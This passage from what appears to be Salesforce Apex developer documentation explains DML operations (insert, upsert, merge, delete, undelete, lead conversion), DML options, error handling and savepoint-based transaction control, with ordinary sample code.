types. For more information, see Creating Records for Different Object Types in the SOAP API Developer Guide.
The following example shows how to create an opportunity with a parent account using the same insert statement. The example
creates an Opportunity sObject and populates some of its fields, then creates two Account objects. The first account is only for the foreign
key relationship, and the second is for the account creation and has the account fields set. Both accounts have the external ID field,
MyExtID__c, set. Next, the sample calls Database.insert by passing it an array of sObjects. The first element in the array is
the parent sObject and the second is the opportunity sObject. The Database.insert statement creates the opportunity with its
parent account in a single step. Finally, the sample checks the results and writes the IDs of the created records to the debug log, or the
first error if record creation fails. This sample requires an external ID text field on Account called MyExtID.
public class ParentChildSample {
public static void InsertParentChild() {
Date dt = Date.today();
dt = dt.addDays(7);
Opportunity newOpportunity = new Opportunity(
Name='OpportunityWithAccountInsert',
StageName='Prospecting',
CloseDate=dt);

// Create the parent reference.

// Used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
MyExtID__c='SAP111111');
newOpportunity.Account = accountReference;

// Create the Account object to insert.

// Same as above but has Name field.
// Used for the insert.
Account parentAccount = new Account(
Name='Hallie',
MyExtID__c='SAP111111');

// Create the account and the opportunity.

Database.SaveResult[] results = Database.insert(new SObject[] {
parentAccount, newOpportunity });

// Check results.
for (Integer i = 0; i < results.size(); i++) {
if (results[i].isSuccess()) {
System.debug('Successfully created ID: '
+ results[i].getId());
} else {
System.debug('Error: could not create sobject '
+ 'for array element ' + i + '.');
System.debug(' The error reported was: '
+ results[i].getErrors()[0].getMessage() + '\n');

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}
}
}
}

Upserting Records
Using the upsert operation, you can either insert or update an existing record in one call. To determine whether a record already
exists, the upsert statement or Database method uses the record’s ID as the key to match records, a custom external ID field, or a
standard field with the idLookup attribute set to true.
• If the key isn’t matched, then a new object record is created.
• If the key is matched once, then the existing object record is updated.
• If the key is matched multiple times, then an error is generated and the object record is not inserted or updated.

Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc" as duplicate
values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123” is matched with “abc123.”
For more information, see Create Custom Fields.

Examples
The following example updates the city name for all existing accounts in the city formerly known as Bombay, and also inserts a new
account in San Francisco:
Account[] acctsList = [SELECT Id, Name, BillingCity
FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
upsert acctsList;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling.

This next example uses the Database.upsert method to upsert a collection of leads that are passed in. This example allows for
partial processing of records, that is, in case some records fail processing, the remaining records are still inserted or updated. It iterates
through the results and adds a task to each record that was processed successfully. The task sObjects are saved in a list, which is then
bulk inserted. This example is followed by a test class that contains a test method for testing the example.
/* This class demonstrates and tests the use of the
* partial processing DML operations */

public class DmlSamples {

/* This method accepts a collection of lead records and

creates a task for the owner(s) of any leads that were
created as new, that is, not updated as a result of the upsert
operation */

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public static List<Database.upsertResult> upsertLeads(List<Lead> leads) {

/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
List<Database.upsertResult> uResults = Database.upsert(leads,false);

/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
}

/* If there are tasks to be inserted, insert them */

Database.insert(tasks);

return uResults;
}
}

@isTest
private class DmlSamplesTest {
public static testMethod void testUpsertLeads() {
/* We only need to test the insert side of upsert */
List<Lead> leads = new List<Lead>();

/* Create a set of leads for testing */

for(Integer i = 0;i < 100; i++) {
leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
}

/* Switch to the runtime limit context */

Test.startTest();

/* Exercise the method */

List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);

/* Switch back to the test context for limits */

Test.stopTest();

/* ID set for asserting the tasks were created as expected */

Set<Id> ids = new Set<Id>();

/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}

/* Assert that exactly one task exists for each lead that was inserted. */

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for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
System.assertEquals(1,l.tasks.size());
}
}
}

Use of upsert with an external ID can reduce the number of DML statements in your code, and help you to avoid hitting governor
limits (see Execution Governors and Limits).
This example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one relationship
between an asset and an opportunity line item. Before running the sample, create a custom text field on the Asset object named
Line_Item_Id__c and mark it as an external ID. For information on custom fields, see Salesforce Help.

Note: External ID fields used in upsert calls must be unique or the user must have the View All Data permission.

public void upsertExample() {

Opportunity opp = [SELECT Id, Name, AccountId,
(SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name

FROM OpportunityLineItems)
FROM Opportunity
WHERE HasOpportunityLineItem = true
LIMIT 1];

Asset[] assets = new Asset[]{};

// Create an asset for each line item on the opportunity

for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {

//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);

assets.add(asset);
}

try {
upsert assets Line_Item_ID__c; // This line upserts the assets list with
// the Line_Item_Id__c field specified as the
// Asset field that should be used for matching
// the record that should be upserted.
} catch (DmlException e) {
System.debug(e.getMessage());
}
}

Merging Records
When you have duplicate lead, contact, case, or account records in the database, cleaning up your data and consolidating the records
is a good idea. You can merge up to three records of the same sObject type. The merge operation merges the duplicate records into
the main record, deletes the duplicate records, and reparents any related records.

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Use the merge Statement

This example shows how to merge a duplicate account record into a main account record. The duplicate account has a related contact,
which is moved to the main account record after the merge operation. After merging, the duplicate record is deleted and only the
main record remains in the database.
// Insert new accounts
List<Account> ls = new List<Account>{
new Account(name='Acme Inc.'),
new Account(name='Acme')
};
insert ls;

// Queries to get the inserted accounts

Account mainAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account dupAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];

// Add a contact to the account to be merged

Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = dupAcct.Id;
insert c;

try {
merge mainAcct dupAcct;
} catch (DmlException e) {
// Process exception
System.debug('An unexpected error has occurred: ' + e.getMessage());
}

// After the account is merged with the main account,

// the related contact is moved to the main record.
mainAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts)
FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(mainAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', mainAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', mainAcct.getSObjects('Contacts')[0].get('LastName'));

// Verify that the duplicate record is deleted

Account[] result = [SELECT Id, Name FROM Account WHERE Id=:dupAcct.Id];
System.assertEquals(0, result.size());

Use the Database.merge Method

This second example is similar to the previous example, except that it uses the Database.merge method instead of the merge
statement. The last argument of Database.merge is set to false, so any errors encountered in this operation are returned in the
merge result without throwing exceptions. In the example, a main account and two duplicate account records are created. One of the
duplicate account records has a child contact record. Through the merge operation, the contact is moved to the main account record,
and the other records are deleted.

Note: To use the AccountContactRelation sObject in this example, enable the “Allow users to relate a contact to multiple accounts”
setting in your org. See Set Up Contacts to Multiple Accounts.
// Create main account
Account main = new Account(Name='Account1');

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insert main;

// Create duplicate accounts

Account[] duplicates = new Account[]{
// Duplicate account
new Account(Name='Account1, Inc.'),
// Second duplicate account
new Account(Name='Account 1')
};
insert duplicates;

// Create child contact and associate it with first account

Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;

// Get the account contact relation ID, which is created when a contact is created on
"Account1, Inc."
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE
ContactId=:c.Id LIMIT 1];

// Merge duplicate accounts into main account

Database.MergeResult[] results = Database.merge(main, duplicates, false);

for(Database.MergeResult res : results) {

if (res.isSuccess()) {
// Get the main record ID from the result and validate it
System.debug('Main record ID: ' + res.getId());
System.assertEquals(main.Id, res.getId());

// Get the IDs of the merged records and display them

List<Id> mergedIds = res.getMergedRecordIds();
System.debug('IDs of merged records: ' + mergedIds);

// Get the ID of the reparented record and

// validate that this the contact ID.
System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());

// Make sure there are two IDs (contact ID and account contact relation ID); the order
isn't defined
System.assertEquals(2, res.getUpdatedRelatedIds().size() );
boolean flag1 = false;
boolean flag2 = false;

// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the
array
if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id ==
res.getUpdatedRelatedIds()[1] )
flag1 = true;

if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1]

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)
flag2 = true;

System.assertEquals(flag1, true);
System.assertEquals(flag2, true);

}
else {
for(Database.Error err : res.getErrors()) {
// Write each error to the debug output
System.debug(err.getMessage());
}
}
}

Merge Considerations
When merging sObject records, consider these rules and guidelines:
• Only leads, contacts, cases, and accounts can be merged. See sObjects That Don’t Support DML Operations on page 159.
• You can pass a main record and up to two additional sObject records to a single merge method.
• Field values on the main record, including null and empty field values, always supersede the corresponding field values on the
records to be merged. Therefore, if a field value on the main record is empty, the resulting field value remains empty after the merge
operation regardless of the field value on the duplicate record. To preserve a field value from a duplicate record, manually set this
field value on the main record before performing the merge.
• External ID fields can’t be used with merge.

Deleting Records
After you persist records in the database, you can delete those records using the delete operation. Deleted records aren’t deleted
permanently from Salesforce, but they are placed in the Recycle Bin for 15 days from where they can be restored. Restoring deleted
records is covered in a later section.

Example
The following example deletes all accounts that are named 'DotCom':
Account[] doomedAccts = [SELECT Id, Name FROM Account
WHERE Name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling.

Referential Integrity When Deleting and Restoring Records

The delete operation supports cascading deletions. If you delete a parent object, you delete its children automatically, as long as
each child record can be deleted.

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For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution records associated
with that case. However, if a particular child record is not deletable or is currently being used, then the delete operation on the parent
case record fails.
The undelete operation restores the record associations for the following types of relationships:
• Parent accounts (as specified in the Parent Account field on an account)
• Indirect account-contact relationships (as specified on the Related Accounts related list on a contact or the Related Contacts related
list on an account)
• Parent cases (as specified in the Parent Case field on a case)
• Master solutions for translated solutions (as specified in the Master Solution field on a solution)
• Managers of contacts (as specified in the Reports To field on a contact)
• Products related to assets (as specified in the Product field on an asset)
• Opportunities related to quotes (as specified in the Opportunity field on a quote)
• All custom lookup relationships
• Relationship group members on accounts and relationship groups, with some exceptions
• Tags
• An article's categories, publication state, and assignments

Note: Salesforce only restores lookup relationships that have not been replaced. For example, if an asset is related to a different
product prior to the original product record being undeleted, that asset-product relationship is not restored.

Restoring Deleted Records

After you have deleted records, the records are placed in the Recycle Bin for 15 days, after which they are permanently deleted. While
the records are still in the Recycle Bin, you can restore them using the undelete operation. If you accidentally deleted some records
that you want to keep, restore them from the Recycle Bin.

Example
The following example undeletes an account named 'Universal Containers'. The ALL ROWS keyword queries all rows for both top
level and aggregate relationships, including deleted records and archived activities.
Account a = new Account(Name='Universal Containers');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;

Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers'
ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}

Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling.

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Undelete Considerations
Note the following when using the undelete statement.
• You can undelete records that were deleted as the result of a merge. However, the merge reparents the child objects, and that
reparenting can’t be undone.
• To identify deleted records, including records deleted as a result of a merge, use the ALL ROWS parameters with a SOQL query.
• See Referential Integrity When Deleting and Restoring Records.

SEE ALSO:
Querying All Records with a SOQL Statement

Converting Leads
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity. convertLead
is available only as a method on the Database class; it is not available as a DML statement.
Converting leads involves the following basic steps:
1. Your application determines the IDs of any lead(s) to be converted.
2. Optionally, your application determines the IDs of any account(s) into which to merge the lead. Your application can use SOQL to
search for accounts that match the lead name, as in the following example:
SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'

3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application can use
SOQL to search for contacts that match the lead contact name, as in the following example:
SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND
AccountId = '001...'

4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application uses the query (SELECT ... FROM LeadStatus WHERE IsConverted=true) to obtain the leads
with converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine whether
conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts can’t be
owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.

Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object, sets its status to converted, and then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new database.LeadConvert();

lc.setLeadId(myLead.id);

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LeadStatus convertStatus = [SELECT Id, ApiName FROM LeadStatus WHERE IsConverted=true LIMIT
1];
lc.setConvertedStatus(convertStatus.ApiName);

Database.LeadConvertResult lcr = Database.convertLead(lc);

System.assert(lcr.isSuccess());

Convert Leads Considerations

• Field mappings: The system automatically maps standard lead fields to standard account, contact, and opportunity fields. For custom
lead fields, your Salesforce administrator can specify how they map to custom account, contact, and opportunity fields. For more
information about field mappings, see Salesforce Help.
• Merged fields: If data is merged into existing account and contact objects, only empty fields in the target object are
overwritten—existing data (including IDs) are not overwritten. The only exception is if you specify setOverwriteLeadSource
on the LeadConvert object to true, in which case the LeadSource field in the target contact object is overwritten with the
contents of the LeadSource field in the source LeadConvert object.
• Record types: If the organization uses record types, the default record type of the new owner is assigned to records created during
lead conversion. The default record type of the user converting the lead determines the lead source values available during conversion.
If the desired lead source values are not available, add the values to the default record type of the user converting the lead. For more
information about record types, see Salesforce Help.
• Picklist values: The system assigns the default picklist values for the account, contact, and opportunity when mapping any standard
lead picklist fields that are blank. If your organization uses record types, blank values are replaced with the default picklist values of
the new record owner.
• Automatic feed subscriptions: When you convert a lead into a new account, contact, and opportunity, the lead owner is unsubscribed
from the lead record’s Chatter feed. The lead owner, the owner of the generated records, and users that were subscribed to the lead
aren’t automatically subscribed to the generated records, unless they have automatic subscriptions enabled in their Chatter feed
settings. They must have automatic subscriptions enabled to see changes to the account, contact, and opportunity records in their
news feed. To subscribe to records they create, users must enable the Automatically follow records that I
create option in their personal settings. A user can subscribe to a record so that changes to the record display in the news feed
on the user's home page. This is a useful way to stay up-to-date with changes to records in Salesforce.

SEE ALSO:
Apex Reference Guide: Database Class

Exception Handling
DML statements return run-time exceptions if something went wrong in the database during the execution of the DML operations. You
can handle the exceptions in your code by wrapping your DML statements within try-catch blocks. The following example includes the
insert DML statement inside a try-catch block.

Account a = new Account(Name='Acme');

try {
insert a;
} catch(DmlException e) {
// Process exception here
}

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Database Class Method Result Objects

Returned Database Errors

Database Class Method Result Objects

Database class methods return the results of the data operation. These result objects contain useful information about the data operation
for each record, such as whether the operation was successful or not, and any error information. Each type of operation returns a specific
result object type, as outlined below.

Operation Result Class

insert, update SaveResult Class

upsert UpsertResult Class

merge MergeResult Class

delete DeleteResult Class

undelete UndeleteResult Class

convertLead LeadConvertResult Class

emptyRecycleBin EmptyRecycleBinResult Class

Returned Database Errors

While DML statements always return exceptions when an operation fails for one of the records being processed and the operation is
rolled back for all records, Database class methods can either do so or allow partial success for record processing. In the latter case of
partial processing, Database class methods don’t throw exceptions. Instead, they return a list of errors for any errors that occurred on
failed records.
The errors provide details about the failures and are contained in the result of the Database class method. For example, a SaveResult
object is returned for insert and update operations. Like all returned results, SaveResult contains a method called getErrors
that returns a list of Database.Error objects, representing the errors encountered, if any.

Example
This example shows how to get the errors returned by a Database.insert operation. It inserts two accounts, one of which doesn’t
have the required Name field, and sets the second parameter to false: Database.insert(accts, false);. This sets the
partial processing option. Next, the example checks if the call had any failures through if (!sr.isSuccess()) and then iterates
through the errors, writing error information to the debug log.
// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
new Account(Name='Account1'),
new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);

// Iterate through each returned result

for (Database.SaveResult sr : srList) {
if (!sr.isSuccess()) {
// Operation failed, so get all errors
for(Database.Error err : sr.getErrors()) {

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System.debug('The following error has occurred.');

System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Fields that affected this error: ' + err.getFields());
}
}
}

More About DML

Here are some things you may want to know about using Data Manipulation Language.

Setting DML Options

Transaction Control
Read about transaction requests, generating and releasing savepoints, rolling back transactions, and more.
sObjects That Can’t Be Used Together in DML Operations
DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on non-setup sObjects in the
same transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or
update these types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions.
For example, you can’t update an account and a user role in a single transaction.
sObjects That Don’t Support DML Operations
Bulk DML Exception Handling
Things You Should Know about Data in Apex

Setting DML Options

You can specify DML options for insert and update operations by setting the desired options in the Database.DMLOptions object.
You can set Database.DMLOptions for the operation by calling the setOptions method on the sObject, or by passing it as
a parameter to the Database.insert and Database.update methods.
Using DML options, you can specify:
• The truncation behavior of fields.
• Assignment rule information.
• Duplicate rule information.
• Whether automatic emails are sent.
• The user locale for labels.
• Whether the operation allows for partial success.
The Database.DMLOptions class has the following properties:
• allowFieldTruncation Property
• assignmentRuleHeader Property
• duplicateRuleHeader
• emailHeader Property
• localeOptions Property
• optAllOrNone Property

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DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record
operations performed using Apex DML and not through the Salesforce user interface.

allowFieldTruncation Property
The allowFieldTruncation property specifies the truncation behavior of strings. In Apex saved against API versions previous
to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is
specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you
to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.
The allowFieldTruncation property takes a Boolean value. If true, the property truncates String values that are too long,
which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions();

dml.allowFieldTruncation = true;

assignmentRuleHeader Property
The assignmentRuleHeader property specifies the assignment rule to be used when creating a case or lead.

Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts.

Using the assignmentRuleHeader property, you can set these options:

• assignmentRuleID: The ID of an assignment rule for the case or lead. The assignment rule can be active or inactive. The ID
can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in
the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
• useDefaultRule: Indicates whether the default (active) assignment rule will be used for a case or lead. If specified, do not
specify an assignmentRuleId.
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;

Lead l = new Lead(company='ABC', lastname='Smith');

l.setOptions(dmo);
insert l;

The following example uses the assignmentRuleID option:

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';

Lead l = new Lead(company='ABC', lastname='Smith');

l.setOptions(dmo);
insert l;

Note: If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with
useDefaultRule set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0
and later, the case or lead is unassigned and doesn't get assigned to the default owner.

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duplicateRuleHeader Property
The duplicateRuleHeader property determines whether a record that’s identified as a duplicate can be saved. Duplicate rules
are part of the Duplicate Management feature.
Using the duplicateRuleHeader property, you can set these options.
• allowSave: Indicates whether a record that’s identified as a duplicate can be saved.
The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class

Database.DMLOptions dml = new Database.DMLOptions();

dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}

emailHeader Property
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur:
• Creation of a new case or task
• Conversion of a case email to a contact
• New user email notification
• Lead queue email notification
• Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of Apex DML code execution.
Using the emailHeader property, you can set these options.
• triggerAutoResponseEmail: Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
This email can be automatically triggered by a number of events, for example when creating a case or resetting a user password. If
this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is
sent to that address. If not, the email is sent to the address specified in SuppliedEmail.
• triggerOtherEmail: Indicates whether to trigger email outside the organization (true) or not (false). This email can be
automatically triggered by creating, editing, or deleting a contact for a case.
• triggerUserEmail: Indicates whether to trigger email that is sent to users in the organization (true) or not (false). This
email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.

Note: Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail
is set to true.

Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');

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insert a;

Contact c = new Contact(email='[email protected]', firstname='Joe',lastname='Plumber',

accountid=a.id);

insert c;

Database.DMLOptions dlo = new Database.DMLOptions();

dlo.EmailHeader.triggerAutoResponseEmail = true;

Case ca = new Case(subject='Plumbing Problems', contactid=c.id);

database.insert(ca, dlo);

Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent
is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for
group event email sent through Apex:
• Sending a group event invitation to a user respects the triggerUserEmail option
• Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
• Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate

localeOptions Property
The localeOptions property specifies the language of any labels that are returned by Apex. The value must be a valid user locale
(language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO
language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another
ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is
'fr_CA'.

optAllOrNone Property
The optAllOrNone property specifies whether the operation allows for partial success. If optAllOrNone is set to true, all
changes are rolled back if any record causes errors. The default for this property is false and successfully processed records are
committed while records with errors aren't. This property is available in Apex saved against Salesforce API version 20.0 and later.

Transaction Control
Read about transaction requests, generating and releasing savepoints, rolling back transactions, and more.
All requests are delimited by the trigger, class method, Web Service, Visualforce page, or anonymous block that executes the Apex code.
If the entire request completes successfully, all changes are committed to the database. For example, suppose a Visualforce page called
an Apex controller, which in turn called an additional Apex class. Only when all the Apex code has finished running and the Visualforce
page has finished running, are the changes committed to the database. If the request doesn’t complete successfully, all database changes
are rolled back.

Generating Savepoints and Rolling Back Transactions

Sometimes during the processing of records, your business rules require that partial work (already executed DML statements) is rolled
back so that the processing can continue in another direction. Apex gives you the ability to generate a savepoint, that is, a point in the

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request that specifies the state of the database at that time. Any DML statement that occurs after the savepoint can be discarded, restoring
the database to the condition it was in when you generated the savepoint. All table and row locks acquired since the savepoint are
released.
The following limitations apply to generating savepoint variables and rolling back the database:
• If you set more than one savepoint, then roll back to a savepoint that isn’t the last savepoint you generated, the later savepoint
variable is also rolled back and becomes invalid. For example, if you generated savepoint SP1 first, savepoint SP2 after that, and
then you rolled back to SP1, the variable SP2 is no longer valid. If you try to use savepoint SP2, you receive a runtime error.
• References to savepoints can’t cross-trigger invocations because each trigger invocation is a new trigger context. If you declare a
savepoint as a static variable then try to use it across trigger contexts, you receive a run-time error.
• Each savepoint you set counts against the governor limit for DML statements.
• Static variables aren’t reverted during a rollback. If you try to run the trigger again, the static variables retain the values from the first
run.

• Database.rollback(Savepoint) and Database.setSavepoint()don’t count against the DML row limit, but
count toward the DML statement limit. This behavior applies to all API versions.
• The ID on an sObject inserted after setting a savepoint isn’t cleared after a rollback. Attempting to insert the sObject using the variable
created before the rollback fails because the sObject variable has an ID. Updating or upserting the sObject using the same variable
also fails because the sObject isn’t in the database and, thus, can’t be updated. To perform further DML operations, create an sObject
variable without setting its ID.
The following is an example using the setSavepoint and rollback Database methods.
Account a = new Account(Name = 'xyz');
insert a;
Assert.isNull([SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);
// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();
// Change the account number
a.AccountNumber = '123';
update a;
Assert.areEqual('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
AccountNumber);
// Rollback to the previous null value
Database.rollback(sp);
Assert.isNull([SELECT AccountNumber FROM Account WHERE Id = :a.Id]. AccountNumber);

Releasing Savepoints and Using Callouts

To allow callouts, roll back all uncommitted DML by using a savepoint. Then use the Database.releaseSavepoint method
to explicitly release savepoints before making the desired callout. When Database.releaseSavepoint() is called,
SAVEPOINT_RELEASE is logged.
See releaseSavepoint() for more information.
In this example, the makeACallout() callout succeeds because the uncommitted DML is rolled back and the savepoint is released.
Savepoint sp = Database.setSavepoint();
try {
// Try a database operation
insert new Account(name='Foo');
integer bang = 1 / 0;
} catch (Exception ex) {

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Database.rollback(sp);
Database.releaseSavepoint(sp);
makeACallout();
}

In this example, the savepoint isn’t released before making the callout. The CalloutException informs you that you must release
all active savepoints before making the callout.
Savepoint sp = Database.setSavepoint();
try {
makeACallout();
} catch (System.CalloutException ex) {
Assert.isTrue(ex.getMessage().contains('All active Savepoints must be released before
making callouts.'));
}

In this example, DML is pending when the callout is made. The CalloutException informs you that you must roll back the
transaction before the callout is made or the transaction must be committed.
Savepoint sp = Database.setSavepoint();
insert new Account(name='Foo');
Database.releaseSavepoint(sp);
try {
makeACallout();
} catch (System.CalloutException ex) {
Assert.isTrue(ex.getMessage().contains('You have uncommitted work pending. Please commit
or rollback before calling out.'));
}

Use these guidelines for using callouts and savepoints.

• If there’s uncommitted work pending when Database.releaseSavepoint() is called, the uncommitted work isn’t rolled
back. It’s committed if the transaction succeeds.
• Attempts to roll back to a released savepoint result in a TypeException.
• Attempts to roll back after calling Database.releaseSavepoint() result in a
System.InvalidOperationException.
• Calling the Database.releaseSavepoint() method on a savepoint also releases nested savepoints, that is, any subsequent
savepoints created after a savepoint.

Versioned Behavior Changes

For Apex tests with API version 60.0 or later, all savepoints are released when Test.startTest() and Test.stopTest()
are called. If any savepoints are reset, a SAVEPOINT_RESET event is logged.
Before API version 60.0, making a callout after creating savepoints throws a CalloutException regardless of whether there was
uncommitted DML or the changes were rolled back to a savepoint. Also, before API version 60.0, both
Database.rollback(databaseSavepoint) and Database.setSavepoint() calls incremented the DML row usage
limit.

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sObjects That Can’t Be Used Together in DML Operations

DML operations on certain sObjects, sometimes referred to as setup objects, can’t be mixed with DML on non-setup sObjects in the
same transaction. This restriction exists because some sObjects affect the user’s access to records in the org. You must insert or update
these types of sObjects in a different transaction to prevent operations from happening with incorrect access-level permissions. For
example, you can’t update an account and a user role in a single transaction.
Don’t include more than one of these sObjects in the same transaction when performing DML operations or when using the Metadata
API.
These sObjects also can't be used with the @IsTest (IsParallel=true) annotation. Split such operations into separate transactions.

Note: This list includes sObjects that cannot be used together in the same DML transaction, but is not an exhaustive list.

• AuthSession
• ContentWorkspace
• FieldPermissions
• ForecastingShare
• Group
You can only insert and update a group in a transaction with other sObjects. Other DML operations aren’t allowed.

• GroupMember

Note: With legacy Apex code saved using Salesforce API version 14.0 and earlier, you can insert and update a group member
with other sObjects in the same transaction.

• ObjectPermissions
• ObjectTerritory2AssignmentRule
• ObjectTerritory2AssignmentRuleItem
• PermissionSet
• PermissionSetAssignment
• QueueSObject
• RuleTerritory2Association
• SetupEntityAccess
• Territory
• Territory2
• Territory2Model
• User
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier.
You can insert a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later when
UserRoleId is specified as null.
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 14.0 and earlier
You can update a user in a transaction with other sObjects in Apex code saved using Salesforce API version 15.0 and later when the
user isn’t included in a Lightning Sync or Einstein Activity Capture configuration (either active or inactive) and the following fields
aren’t updated:
– UserRoleId
– IsActive

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– ForecastEnabled
– IsPortalEnabled
– Username
– ProfileId

• UserPackageLicense
• UserRole
• UserTerritory
• UserTerritory2Association
If you're using a Visualforce page with a custom controller, you can't mix sObject types with any of these special sObjects within a single
request or action. However, you can perform DML operations on these different types of sObjects in subsequent requests. For example,
you can create an account with a save button, and then create a user with a non-null role with a submit button.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
This process is demonstrated in the example in the next section.

Example: Using a Future Method to Perform Mixed DML Operations

This example shows how to perform mixed DML operations by using a future method to perform a DML operation on the User object.
